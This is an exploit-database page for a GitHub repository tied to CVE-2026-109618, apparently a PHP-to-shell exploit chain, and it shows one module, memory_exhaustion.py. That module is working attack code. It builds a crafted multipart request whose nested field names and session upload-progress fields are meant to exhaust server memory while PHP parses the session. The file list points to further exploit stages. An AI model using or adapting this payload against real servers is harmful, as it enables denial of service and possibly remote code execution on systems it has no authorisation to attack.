Exploit databaseDownload repository ZIP
GH-293bdf46c35b1edd035370df3bfb8cde
djad04/php2shell-deep-dive
Sources for CVE-2026-109618
412 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files8
djad04/php2shell-deep-diveRevision cf5dc0e82f73
- ↑..Parent directory
- __pycache__/
- calibration.py
- command.py
- consumers.py
- exploit.py
- hashtable_forge.py
- http_framing.py
- memory_exhaustion.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit/memory_exhaustion.py
Python · 1,112 bytes"""OOM producer: exhaust memory during session upload progress parsing."""
from __future__ import annotations
from dataclasses import dataclass
from calibration import COOKIE_BOUNDARY, BODY_LIMIT
from http_framing import mp_field, close_multipart
@dataclass(frozen=True)
class OOMShape:
"""Geometry of nested field names that controls memory burn rate."""
depth: int
count: int
field_count: int
field_value_size: int
def build_producer(shape: OOMShape) -> bytes:
"""Build a multipart body that triggers OOM during session parsing."""
bnd = COOKIE_BOUNDARY
fields = [mp_field(bnd, f"p{i:04d}".encode(), b"x" * shape.field_value_size)
for i in range(shape.field_count)]
fields += [mp_field(bnd, b"PHPSESSID", b"\x00"),
mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", b"ppp"),
mp_field(bnd, b"f", b"A" * 64, b"a.txt")]
for i in range(shape.count):
name = b"f[" + str(i).encode() + b"]" + b"[x]" * shape.depth
fields.append(mp_field(bnd, name, filename=b""))
return close_multipart(fields, bnd, BODY_LIMIT)